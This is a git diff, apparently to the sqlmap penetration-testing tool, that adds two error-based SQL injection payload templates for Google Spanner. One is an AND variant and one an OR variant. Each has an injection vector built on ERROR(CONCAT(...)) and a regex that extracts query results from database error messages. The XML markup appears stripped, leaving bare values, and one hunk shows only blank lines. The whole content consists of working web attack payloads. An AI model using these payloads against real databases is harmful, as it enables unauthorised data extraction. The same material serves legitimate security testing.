diff --git a/data/xml/errors.xml b/data/xml/errors.xml
index 605ffacd9..14e4648cc 100644
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@@ -245,4 +245,8 @@
+
+
+
+
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
index 3023df9fb..90bed48b2 100644
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -911,6 +911,43 @@
+
+ Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
+ 2
+ 5
+ 1
+ 1,2,3,8,9
+ 1
+ AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL
+
+ AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Spanner
+
+
+
+
+ Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
+ 2
+ 5
+ 3
+ 1,2,3,8,9
+ 1
+ OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL
+
+ OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL
+
+
+ [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+
+
+ Spanner
+
+